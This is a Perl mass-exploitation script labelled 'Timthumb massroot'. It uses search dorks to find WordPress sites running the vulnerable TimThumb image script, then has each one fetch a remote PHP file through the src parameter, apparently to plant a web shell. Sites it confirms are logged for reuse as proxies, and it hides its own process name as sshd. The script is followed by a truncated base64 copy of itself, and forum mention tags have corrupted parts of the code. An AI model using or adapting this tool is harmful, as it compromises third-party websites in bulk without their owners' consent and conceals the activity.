#!/usr/bin/perl
# MODULES
#use strict;
#use warnings;
use IO:: Socket ;
#use IO::Socket::SSL;
use URI:: _foreign;
use URI:: _generic;
use URI:: _query;
use URI:: https ;
use URI;
use LWP;
use LWP:: Simple ;
use LWP:: UserAgent ;
use LWP:: Protocol :: http ;
use URI:: http ;
# use MIME::Base64::Perl;
use MIME:: Base64 ;
use HTTP:: Cookies ;
use HTTP
:: Request :: Common qw ( POST
) ; use HTTP:: Headers ;
use HTML:: Parser ;
use Parallel:: ForkManager ;
use IO:: Socket ;
use LWP:: Simple ;
use LWP:: UserAgent ;
use HTTP:: Cookies ;
use HTTP
:: Request :: Common qw ( POST
) ; use HTTP:: Headers ;
use Getopt:: Long ;
use Time
:: HiRes qw ( gettimeofday
) ; if ( @ ARGV == 0 ) { &usage ( ) ; }
#my $url = "http://w...content-available-to-author-only...a.de/";
my $expl = "http://f...content-available-to-author-only...e.de/pictures.php" ;
my $injects = "injects" ;
my $pathfile = "paths" ;
my $hostfile = "words.txt" ;
my $maximumprocess = "100" ;
our $self = $0 ;
my $hiddenprocess = '/usr/sbin/sshd' ;
$0 = "$hiddenprocess" . "\0 " x16;;
GetOptions(
'h=s' => \$hostfile ,
'l=s' => \$localfile ,
't|threads=s' => \$maximumprocess ,
'help' => \&usage ,
'hide=s' => \$hiddenprocess ,
'x' => \&start ,
) ;
sub usage {
print ( " [+]Timthumb massroot -h host file (default words.txt)
-t|threads (default 100)
-help u are looking at it
-hide hidden process (default /usr/sbin/sshd)
" ) ;
}
sub start {
my $forkmanager = new Parallel:: ForkManager ( $maximumprocess ) ;
open ( my $hosth , "<" . $hostfile ) ; while ( < $hosth > ) {
my $host = $_ ;
$host =~ s/\x0a//g ;
# print $host . "\n";
my $processid = $forkmanager -> start ( ) and next ;
&google2 ( $host ) ;
$forkmanager -> finish ( ) ;
}
$forkmanager -> wait_all_children ( ) ;
} #end start
sub google2( ) {
my @uagents = ( "Microsoft Internet Explorer/4.0b1 (Windows 95)" , "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)" , "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)" , "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)" , "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" , "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)" , "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)" , "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" , "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" , "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" , "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)" , "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" , "Microsoft Pocket Internet Explorer/0.6" , "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)" , "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;" , "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)" , "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)" , "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)" , "Advanced Browser (http://w...content-available-to-author-only...r.com)" , "Avant Browser (http://w...content-available-to-author-only...r.com)" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" , "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)" , "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)" , "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007" , "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511" , "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0" , "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" , "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4" , "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6" , "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" , "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" , "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" , "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" , "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" , "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b" , "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0" , "Mozilla/3.0 (OS/2;U)" , "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)" , "Mozilla/4.61 (Macintosh; I; PPC)" , "Mozilla/4.61 [en] (OS/2; U)" , "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)" , "Mozilla/4.8 [en] (Windows NT 5.0; U)" ) ;
my $ua = LWP:: UserAgent -> new ( agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" , env_proxy => 1 , keep_alive => 1 , timeout => 15 ) ;
#my [MENTION=57691]dom[/MENTION]s = ("mobi","info","net","ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
#my [MENTION=57691]dom[/MENTION]s = ("biz","cat","com","coop","info","int","jobs","mobi","museum","name","net","org","travel","ac","ad","ae","af","ag","ai","al","am","an","ao","aq","ar","as","at","au","aw","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bm","bn","bo","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cs","cu","cv","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","eu","fi","fj","fk","fm","fo","fr","ga","gb","gd","ge","gf","gg","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","im","in","io","iq","ir","is","it","je","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","st","su","sv","sy","sz","tc","td","tf","tg","th","tj","tk","tm","tn","to","tp","tr","tt","tv","tw","tz","ua","ug","uk","um","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","yu","za","zm","zr","zw");
my $key = $_ [ 0 ] ;
#my $path=$_[1];
my $counter = 1 ;
my $page = 0 ;
my $reqb ;
my $resb ;
my $flag ;
my [ MENTION= 65778 ] googled[ / MENTION] ;
my $url ;
#foreach my $dom [MENTION=57691]dom[/MENTION]s) {
# print $dom. " Scanned\n";
# for (my $i=0; $i<=20; $i+=10){
$ua = LWP:: UserAgent -> new ( agent => $uagent ) ;
my $proxy = `perl -MList::Util -e 'print List::Util::shuffle <>' proxy.txt | tail -n 1` ;
# print $proxy . "\n";
my $url = "http://a...content-available-to-author-only...s.com/ajax/services/search/images?v=1.0&start=1&rsz=large&q=timthumb.php%20site:" . $key ;
my $encoded = encode_base64( $url , "" ) ;
# print "Encoded url is " . $encoded . "\n";
$url = $proxy . "?p=" . $encoded ;
# print "request made " . $url . "\n";
my $proxy ;
$reqb = HTTP:: Request -> new ( "GET" , $url ) ;
$resb = $ua -> request ( $reqb ) ;
my $join = join ( "" , $resb -> as_string ) ; while ( $join =~ m / unescapedUrl
":" ( .*? ) "/g){ my $link=$1;
if ($link=~m/(.*?)\/ timthumb.php\? /){
my $direct=$1;
$direct .= " / timthumb. php";
# &check2($direct);
push [MENTION=65778]googled[/MENTION], $direct)
}
# print $link . " \n ";
$link =~ s/\( [-a-zA-Z0-9\. ]+)\/ \. */\$ 1/\;
$link .= " / ";
push [MENTION=65778]googled[/\M ENTION], $link);
} #end while
# } #end for
# my $forkmanagerb = new Parallel::ForkManager(1);
my %vhash = map { $_ => 1 } [MENTION=65778]googled[/MENTION];
my @vhostuniq = keys %vhash;
print " [ " . scalar localtime(time) . " ] [ GOOGLE] [ Dork: " . $key ." ] [ Domain: " .$key ." ] [ Found: " . scalar @vhostuniq . " ] \n ";
foreach my $uni (@vhostuniq){
# my $processidb = $forkmanagerb->start() and next;
# print $uni . " \n ";
if ($uni=~m/timthumb.php/){
&check2($uni);
}
else {
&extract($uni);
}
# $forkmanagerb->finish();
# $forkmanagerb->wait_all_children();
}
[MENTION=65778]googled[/MENTION]=();
# } #end foreach
} #end sub
sub extract() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => " Mozilla/ 4.0 ( compatible; MSIE 6.0 ; MSIE 5.5 ; Windows NT 5.1 ) Opera 7.01 [ en] ", env_proxy => 1, keep_alive => 1,timeout => 20);
my $req = HTTP::Request->new(" GET", $url);
my $res = $ua->request($req);
my $join = join(" ",$res->as_string);
if ($join =~m/wp-content/){
while (my $link=$join=~ m,(http.*?://([^\s )\" ](?!ttp:))+),g) {
my $link = $&;
#print $link . " \n ";
if ($link =~ m,/wp-content/themes/,g){
$link =~ m,(.*?)/wp-content/themes/(.*?)/,;
my $site = $1;
my $theme = $2;
$link = $site . " / wp- content/ themes/ " . $theme . " / ";
#print $link . " \n ";
chomp($link);
push (@links, $link)
}
if ($link =~ m,/wp-content/plugins/,g){
$link =~ m,(.*?)/wp-content/plugins/(.*?)/,;
my $site = $1;
my $plugin = $2;
$link = $site . " / wp- content/ plugins/ " . $plugin . " / ";
chomp($link);
#print $link . " \n ";
push (@links, $link)
}
} #end while extract
} #end if
my [MENTION=83868]Uni[/MENTION] = &clean(@links);
foreach my $uni [MENTION=83868]Uni[/MENTION]) {
#print $uni . " \n ";
&check($uni);
}
} # end sub extract
sub clean() {
my [MENTION=2441]cln[/MENTION] = ();
my %visit = ();
foreach my $element (@_) {
# $element =~ s/+/\/ /g;
next if $visit{$element}++;
push [MENTION=2441]cln[/MENTION], $element;
}
return [MENTION=2441]cln[/MENTION];
} # end sub clean
sub check() {
my $attack = $_[0];
#print " Atacking " . $attack . " \n ";
open(my $injectfileh, " < " . $injects);
while(<$injectfileh>){
my $inject = $_;
$inject =~ s/\x 0a//g;
chomp($inject);
my $exploit = $attack . $inject . " ? src= " . $expl;
my $uae = LWP::UserAgent->new(agent => " Mozilla/ 4.0 ( compatible; MSIE 6.0 ; MSIE 5.5 ; Windows NT 5.1 ) Opera 7.01 [ en] ", env_proxy => 1, keep_alive => 1,timeout => 20);
my $reqe = HTTP::Request->new(" GET", $exploit);
my $rese = $uae->request($reqe);
my $output = join(" ",$rese->as_string);
#print $exploit . " \n ";
#print $rese->as_string;
if ($output =~ m/Unable to open image/){
$output =~ m,Unable to open image : (.*?).php,g;
my $shellpath=$1;
#print $shellpath . " \n ";
$shellpath =~ m,/wp-content(.*),;
my $path =$1;
my $rooturl = $attack =~ m,(.*)/wp-content,;
$rooturl=$1;
#print $rooturl . " \n ";
my $checkurl = $rooturl . " / wp- content/ " .$path. " . php";
&vuln($checkurl);
}
} # end while
} #end sub check
sub check2() {
my $attack2 = $_[0];
#print " Atacking " . $attack2 . " \n ";
my $exploit = $attack2 . " ? src= " . $expl;
my $uae = LWP::UserAgent->new(agent => " Mozilla/ 4.0 ( compatible; MSIE 6.0 ; MSIE 5.5 ; Windows NT 5.1 ) Opera 7.01 [ en] ", env_proxy => 1, keep_alive => 1,timeout => 20);
my $reqe = HTTP::Request->new(" GET", $exploit);
my $rese = $uae->request($reqe);
my $output = join(" ",$rese->as_string);
#print $exploit . " \n ";
#print $rese->as_string;
if ($output =~ m/Unable to open image/){
$output =~ m,Unable to open image : (.*?).php,g;
my $shellpath=$1;
#print $shellpath . " \n ";
$shellpath =~ m,/wp-content(.*),;
my $path =$1;
my $rooturl = $attack2 =~ m,(.*)/wp-content,;
$rooturl=$1;
#print $rooturl . " \n ";
my $checkurl = $rooturl . " / wp- content/ " .$path. " . php";
&vuln($checkurl);
}
} #end sub check2
sub vuln {
my $vulnurl = $_[0];
my $uae = LWP::UserAgent->new(agent => " Mozilla/ 4.0 ( compatible; MSIE 6.0 ; MSIE 5.5 ; Windows NT 5.1 ) Opera 7.01 [ en] ", env_proxy => 1, keep_alive => 1,timeout => 20);
my $reqe = HTTP::Request->new(" GET", $vulnurl);
my $rese = $uae->request($reqe);
my $output = join(" ",$rese->as_string);
if ($output =~ m/linkirc - jambihackerlink/i){
#print $vulnurl ." is vuln \n ";
print " [ " . scalar localtime(time) . " ] [ VULN] [ " .$vulnurl ." ] \n ";
open(OUT, " >> vuln. txt" );
print OUT $vulnurl . " \n ";
close OUT;
open(OUT, " >> proxy. txt" );
print OUT $vulnurl . " \n ";
close OUT;
#my $boturl= $vulnurl . " ? bot";
#my $reqe = HTTP::Request->new(" GET", $boturl);
#my $rese = $uae->request($reqe);
#print " bot executed for ". $vulnurl . " \n ";
}
} #end sub vuln
IyEvdXNyL2Jpbi9wZXJsCgojIE1PRFVMRVMKI3VzZSBzdHJpY3Q7CiN1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0OwojdXNlIElPOjpTb2NrZXQ6OlNTTDsKdXNlIFVSSTo6X2ZvcmVpZ247CnVzZSBVUkk6Ol9nZW5lcmljOwp1c2UgVVJJOjpfcXVlcnk7CnVzZSBVUkk6Omh0dHBzOwp1c2UgVVJJOwp1c2UgTFdQOwp1c2UgTFdQOjpTaW1wbGU7CnVzZSBMV1A6OlVzZXJBZ2VudDsKdXNlIExXUDo6UHJvdG9jb2w6Omh0dHA7CnVzZSBVUkk6Omh0dHA7CiMgdXNlIE1JTUU6OkJhc2U2NDo6UGVybDsKdXNlIE1JTUU6OkJhc2U2NDsKdXNlIEhUVFA6OkNvb2tpZXM7CnVzZSBIVFRQOjpSZXF1ZXN0OjpDb21tb24gcXcoUE9TVCk7CnVzZSBIVFRQOjpIZWFkZXJzOwp1c2UgSFRNTDo6UGFyc2VyOwp1c2UgUGFyYWxsZWw6OkZvcmtNYW5hZ2VyOwp1c2UgSU86OlNvY2tldDsKdXNlIExXUDo6U2ltcGxlOwp1c2UgTFdQOjpVc2VyQWdlbnQ7CnVzZSBIVFRQOjpDb29raWVzOwp1c2UgSFRUUDo6UmVxdWVzdDo6Q29tbW9uIHF3KFBPU1QpOwp1c2UgSFRUUDo6SGVhZGVyczsKdXNlIEdldG9wdDo6TG9uZzsKdXNlIFRpbWU6OkhpUmVzIHF3KGdldHRpbWVvZmRheSk7CmlmIChAQVJHViA9PSAwKXsmdXNhZ2UoKTt9CiNteSAkdXJsID0gImh0dHA6Ly93Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5hLmRlLyI7Cm15ICRleHBsID0gImh0dHA6Ly9mLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5lLmRlL3BpY3R1cmVzLnBocCI7Cm15ICRpbmplY3RzID0gImluamVjdHMiOwpteSAkcGF0aGZpbGU9InBhdGhzIjsKCm15ICRob3N0ZmlsZT0id29yZHMudHh0IjsKbXkgJG1heGltdW1wcm9jZXNzPSIxMDAiOwoKb3VyICRzZWxmPSQwOwpteSAkaGlkZGVucHJvY2Vzcz0nL3Vzci9zYmluL3NzaGQnOwoKJDA9IiRoaWRkZW5wcm9jZXNzIi4iXDAieDE2OzsKCkdldE9wdGlvbnMoCiAgICAgICAgJ2g9cycgICAgPT4gXCRob3N0ZmlsZSwKICAgICAgICAnbD1zJyA9PiBcJGxvY2FsZmlsZSwKICAgICAgICAndHx0aHJlYWRzPXMnICAgICAgPT4gXCRtYXhpbXVtcHJvY2VzcywKICAgICAgICAnaGVscCcgICAgICAgID0+IFwmdXNhZ2UsCiAgICAgICAgJ2hpZGU9cycgICAgICAgICAgICAgICAgPT4gXCRoaWRkZW5wcm9jZXNzLAogICAgICAgICd4JyA9PiBcJnN0YXJ0LAoKKTsKCgoKc3ViIHVzYWdlIHsKcHJpbnQgKCIgICAgICAgIFsrXVRpbXRodW1iIG1hc3Nyb290CiAgICAgICAgLWggaG9zdCBmaWxlIChkZWZhdWx0IHdvcmRzLnR4dCkKICAgICAgICAtdHx0aHJlYWRzIChkZWZhdWx0IDEwMCkKICAgICAgICAtaGVscCB1IGFyZSBsb29raW5nIGF0IGl0CiAgICAgICAgLWhpZGUgaGlkZGVuIHByb2Nlc3MgKGRlZmF1bHQgL3Vzci9zYmluL3NzaGQpCiIpOwpleGl0Owp9CgpzdWIgc3RhcnQgewpwcmludCAiWyIgLiBzY2FsYXIgbG9jYWx0aW1lKHRpbWUpIC4gIl1bU1RBUlRFRCBNQVNTIFJPVVRJTkcgV0lUSCAkbWF4aW11bXByb2Nlc3MgVEhSRUFEU11cblxuIjsKICAgICAgICBteSAkZm9ya21hbmFnZXIgPSBuZXcgUGFyYWxsZWw6OkZvcmtNYW5hZ2VyKCRtYXhpbXVtcHJvY2Vzcyk7CiAgICAgICAgICAgICAgICBvcGVuKG15ICRob3N0aCwgIjwiIC4gJGhvc3RmaWxlKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoPCRob3N0aD4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgbXkgJGhvc3QgPSAkXzsKICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPX4gcy9ceDBhLy9nOwogICAgICAgICAgICAgICAgICAgICAgICBjaG9tcCgkaG9zdCk7CiMgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICRob3N0IC4gIlxuIjsKICAgICAgICAgICAgICAgIG15ICRwcm9jZXNzaWQgPSAkZm9ya21hbmFnZXItPnN0YXJ0KCkgYW5kIG5leHQ7CiAgICAgICAgICAgICAgICAgICAgICAgICZnb29nbGUyKCRob3N0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvcmttYW5hZ2VyLT5maW5pc2goKTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjbG9zZSgkaG9zdGZpbGVoKTsKICAgICAgICAgICAgICAgICRmb3JrbWFuYWdlci0+d2FpdF9hbGxfY2hpbGRyZW4oKTsKfSAjZW5kIHN0YXJ0CgoKc3ViIGdvb2dsZTIoKSB7Cm15IEB1YWdlbnRzICAgPSAoIk1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3Jlci80LjBiMSAoV2luZG93cyA5NSkiLCJNb3ppbGxhLzEuMjIgKGNvbXBhdGlibGU7IE1TSUUgMS41OyBXaW5kb3dzIE5UKSIsIk1vemlsbGEvMS4yMiAoY29tcGF0aWJsZTsgTVNJRSAyLjA7IFdpbmRvd3MgOTUpIiwiTW96aWxsYS8yLjAgKGNvbXBhdGlibGU7IE1TSUUgMy4wMTsgV2luZG93cyA5OCkiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA1LjA7IFN1bk9TIDUuOSBzdW40dTsgWDExKSIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDUuMTc7IE1hY19Qb3dlclBDKSIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDUuMjM7IE1hY19Qb3dlclBDKSIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDUuNTsgV2luZG93cyBOVCA1LjApIiwiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBNU04gMi41OyBXaW5kb3dzIDk4KSIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMSkiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjE7IC5ORVQgQ0xSIDEuMS40MzIyKSIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMTsgLk5FVCBDTFIgMS4wLjM3MDU7IC5ORVQgQ0xSIDEuMS40MzIyOyBNZWRpYSBDZW50ZXIgUEMgNC4wOyAuTkVUIENMUiAyLjAuNTA3MjcpIiwiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMjsgU1YxOyAuTkVUIENMUiAxLjEuNDMyMikiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMSkiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW4zMikiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDYuMCkiLCJNaWNyb3NvZnQgUG9ja2V0IEludGVybmV0IEV4cGxvcmVyLzAuNiIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDQuMDE7IFdpbmRvd3MgQ0U7IFBQQzsgMjQweDMyMCkiLCJNT1QtTVB4MjIwLzEuNDAwIE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDQuMDE7IFdpbmRvd3MgQ0U7IFNtYXJ0cGhvbmU7IiwiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBBbWVyaWNhIE9ubGluZSBCcm93c2VyIDEuMTsgcmV2MS4xOyBXaW5kb3dzIE5UIDUuMTspIiwiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBBbWVyaWNhIE9ubGluZSBCcm93c2VyIDEuMTsgcmV2MS4yOyBXaW5kb3dzIE5UIDUuMTspIiwiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBBbWVyaWNhIE9ubGluZSBCcm93c2VyIDEuMTsgcmV2MS41OyBXaW5kb3dzIE5UIDUuMTspIiwiQWR2YW5jZWQgQnJvd3NlciAoaHR0cDovL3cuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnIuY29tKSIsIkF2YW50IEJyb3dzZXIgKGh0dHA6Ly93Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5yLmNvbSkiLCJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4xOyBBdmFudCBCcm93c2VyIFthdmFudGJyb3dzZXIuY29tXTsgaU9wdXMtSS1NOyBRWFcwMzQxNjsgLk5FVCBDTFIgMS4xLjQzMjIpIiwiTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IEtvbnF1ZXJvci8zLjEtcmMzOyBpNjg2IExpbnV4OyAyMDAyMDUxNSkiLCJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuMTsgTGludXggMi40LjIyLTEwbWRrOyBYMTE7IGk2ODY7IGZyLCBmcl9GUikiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBDRSA0LjIxOyBydjoxLjhiNCkgR2Vja28vMjAwNTA3MjAgTWluaW1vLzAuMDA3IiwiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4NjsgZW4tVVM7IHJ2OjEuNy44KSBHZWNrby8yMDA1MDUxMSIsIk1vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IGk2ODY7IGNzLUNaOyBydjoxLjcuMTIpIEdlY2tvLzIwMDUwOTI5IiwiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBubC1OTDsgcnY6MS43LjUpIEdlY2tvLzIwMDQxMjAyIEZpcmVmb3gvMS4wIiwiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggeDg2XzY0OyBlbi1VUzsgcnY6MS43LjYpIEdlY2tvLzIwMDUwNTEyIEZpcmVmb3giLCJNb3ppbGxhLzUuMCAoWDExOyBVOyBGcmVlQlNEIGkzODY7IGVuLVVTOyBydjoxLjcuOCkgR2Vja28vMjAwNTA2MDkgRmlyZWZveC8xLjAuNCIsIk1vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IGk2ODY7IGVuLVVTOyBydjoxLjcuOSkgR2Vja28vMjAwNTA3MTEgRmlyZWZveC8xLjAuNSIsIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuNy4xMCkgR2Vja28vMjAwNTA3MTYgRmlyZWZveC8xLjAuNiIsIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWCBNYWNoLU87IGVuLUdCOyBydjoxLjcuMTApIEdlY2tvLzIwMDUwNzE3IEZpcmVmb3gvMS4wLjYiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjcuMTIpIEdlY2tvLzIwMDUwOTE1IEZpcmVmb3gvMS4wLjciLCJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFggTWFjaC1POyBlbi1VUzsgcnY6MS43LjEyKSBHZWNrby8yMDA1MDkxNSBGaXJlZm94LzEuMC43IiwiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44YjQpIEdlY2tvLzIwMDUwOTA4IEZpcmVmb3gvMS40IiwiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgVTsgUFBDIE1hYyBPUyBYIE1hY2gtTzsgZW4tVVM7IHJ2OjEuOGI0KSBHZWNrby8yMDA1MDkwOCBGaXJlZm94LzEuNCIsIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgbmw7IHJ2OjEuOCkgR2Vja28vMjAwNTExMDcgRmlyZWZveC8xLjUiLCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLUdCOyBydjoxL